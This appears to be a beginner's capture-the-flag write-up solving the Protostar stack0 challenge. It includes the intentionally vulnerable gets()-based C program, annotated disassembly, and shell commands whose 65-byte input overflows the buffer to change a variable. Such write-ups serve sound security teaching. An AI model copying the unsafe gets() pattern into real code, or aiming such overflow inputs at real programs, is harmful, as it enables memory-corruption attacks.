Stack overflow rules (protostar - stack0)
Tags: protostar, security, beginners, challenge
Published: 2020-12-06 18:31:11

Let's discover stack-based buffer overflows with the first Protostar challenge: stack0.

Here is the vulnerable C code:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
```

## stack0 static analysis

File infos:
```
stack0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
```

Let's take a look at our binary using `objdump -Mintel -j.text -D stack0`:
```
 80483f4:       55                      push   ebp
 80483f5:       89 e5                   mov    ebp,esp
 80483f7:       83 e4 f0                and    esp,0xfffffff0
 80483fa:       83 ec 60                sub    esp,0x60                   ; 60h / 96d

 80483fd:       c7 44 24 5c 00 00 00    mov    DWORD PTR [esp+0x5c],0x0   ; 4 bytes reserved, typically an local int variable ('modified')
 8048404:       00
 8048405:       8d 44 24 1c             lea    eax,[esp+0x1c]             ; 68 - 4 bytes reserved
 8048409:       89 04 24                mov    DWORD PTR [esp],eax
 804840c:       e8 fb fe ff ff          call   804830c <gets@plt>

 8048411:       8b 44 24 5c             mov    eax,DWORD PTR [esp+0x5c]
 8048415:       85 c0                   test   eax,eax                    ; 'modified' == 0x00 ?
 8048417:       74 0e                   je     8048427 <main+0x33>

 8048419:       c7 04 24 00 85 04 08    mov    DWORD PTR [esp],0x8048500  ; you have changed the 'modified' variable\0
 8048420:       e8 07 ff ff ff          call   804832c <puts@plt>
 8048425:       eb 0c                   jmp    8048433 <main+0x3f>        ; leave

 8048427:       c7 04 24 29 85 04 08    mov    DWORD PTR [esp],0x8048529  ; Try again?\0
 804842e:       e8 f9 fe ff ff          call   804832c <puts@plt>

 8048433:       c9                      leave                             ; leave
 8048434:       c3                      ret
```

`0x8048500` and `0x8048529` are next to each other. A string in the binary is 0x29 bytes long and another string follows plus their offset matches (0x500). Let's annotate them in our output.

The bug / vulnerability resides in the usage of unsecure `gets` function. Here is what the manual has to say about this function:

```
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with '\0'.
No  check  for buffer overrun is performed (see BUGS below).
```

And in the BUGS section:

```
Never  use  gets(). [...] it is extremely dangerous to use.  It has been used to break computer security.
Use fgets() instead.
```

Breaking computer security right? Sounds fun. Let's perform that buffer overflow on our program.

We'll have to fill at least 64 bytes in our buffer to overflow it so we can modify the desired variable and pass the test.
Our payload uses 65 `A`s bytes because we're sending a `\n` at the end and gets replaces that `\n` by a `\0` which invalidates the test. 64 (+`\n`) would such not be sufficient.

```
root@protostar:/opt/protostar/bin# python -c 'print "A"*64' | ./stack0 # modified is still 0 here
Try again?
root@protostar:/opt/protostar/bin# python -c 'print "A"*64' | xxd | tail -n1
0000040: 0a                                       .
root@protostar:/opt/protostar/bin# python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable
```

## Links

- download protostar challenges: https://drive.google.com/folderview?id=0B9RbZkKdRR8qbkJjQ2VXbWNlQzg&usp=sharing
- challenge presentation: https://exploit-exercises.lains.space/protostar/stack0/

Have fun!